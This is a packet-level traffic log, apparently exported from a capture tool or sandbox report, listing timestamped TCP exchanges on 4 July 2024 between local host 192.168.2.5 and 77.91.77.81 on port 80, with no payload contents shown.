Jul 4, 2024 22:21:06.411140919 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411174059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411221027 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411228895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411279917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411281109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411313057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411323071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411330938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411346912 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411350965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411365986 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411367893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.411386013 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.411401987 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430388927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430442095 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430448055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430480957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430493116 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430515051 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430525064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430536985 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430547953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430566072 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430587053 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430593967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430617094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430625916 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430629969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430654049 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430675983 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430752039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430762053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430773020 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430802107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430804014 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430830002 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430872917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430946112 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430955887 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430967093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430983067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.430983067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.430998087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431006908 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431020021 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431051016 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431178093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431189060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431195021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431202888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431212902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431226969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431277990 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431313038 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431442976 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431454897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431463957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431474924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431488037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431490898 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431499958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431510925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431519985 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431525946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431535959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431565046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431781054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431792021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431801081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431818962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431828022 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431830883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431843996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431853056 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431855917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431869984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431873083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431880951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431890965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431898117 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431910038 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.431921005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.431942940 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.432457924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432470083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432480097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432493925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432502031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432502031 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.432507038 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432512999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432523012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432528973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432538986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432549000 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.432552099 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.432565928 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.432584047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433196068 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433207035 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433216095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433226109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433237076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433245897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433249950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433264017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433265924 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433279991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433290005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433294058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433304071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433307886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433321953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433326006 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433331966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433345079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433352947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433355093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433366060 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433392048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433916092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433928013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433937073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433948040 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433962107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433964968 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433974028 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.433978081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.433990002 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434000015 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434000015 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.434014082 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434022903 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.434036970 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.434062004 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.434283972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434294939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434304953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434314966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434324980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.434335947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.434359074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.467061996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467113972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467125893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467129946 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.467173100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.467202902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467214108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467223883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467233896 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.467237949 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.467256069 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.467287064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.467997074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468014956 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468024969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468039989 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.468056917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.468076944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468112946 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.468115091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468127966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468148947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.468154907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468162060 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.468167067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.468189001 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.468204021 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.501040936 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501053095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501061916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501116037 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.501133919 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501143932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501153946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501163960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501174927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501183987 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.501197100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.501213074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.501334906 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501346111 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501354933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501364946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501377106 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.501382113 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.501408100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.502228022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.502276897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.520840883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.520895958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.520951033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.520983934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.520993948 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521033049 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521038055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521080017 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521090031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521126032 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521136045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521159887 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521159887 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521214008 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521218061 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521251917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521251917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521284103 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521289110 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521302938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521318913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521318913 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521334887 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521337032 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521349907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521352053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521368980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521375895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521388054 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521410942 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521414995 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521450043 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521516085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521529913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521538973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521550894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521562099 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521567106 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521573067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521579027 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521586895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521594048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521625996 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521723032 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521759033 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521791935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521814108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521825075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521831989 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521838903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.521852970 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.521894932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522018909 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522032022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522042036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522053003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522063971 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522073030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522074938 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522083998 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522087097 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522098064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522102118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522119045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522145033 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522404909 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522416115 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522425890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522435904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522447109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522454977 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522458076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522469997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522476912 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522480965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522492886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522495031 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522505045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522515059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522517920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522527933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522545099 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522547960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522556067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522558928 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522571087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522581100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522602081 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.522947073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522958994 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522969007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522980928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.522994041 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523016930 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523199081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523209095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523217916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523230076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523240089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523245096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523251057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523257017 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523262978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523273945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523283958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523284912 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523293972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523303986 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523308992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523317099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523323059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523334980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523344994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523345947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523365974 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523379087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523747921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523758888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523777008 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523787975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523794889 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523799896 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523812056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523821115 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523823023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523834944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523839951 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523845911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523858070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523864031 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523870945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523881912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523889065 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523894072 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523900032 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523906946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.523926973 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.523952007 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.557203054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557214975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557224989 CEST	80	49719	77.91.77.81	192.168.2.5
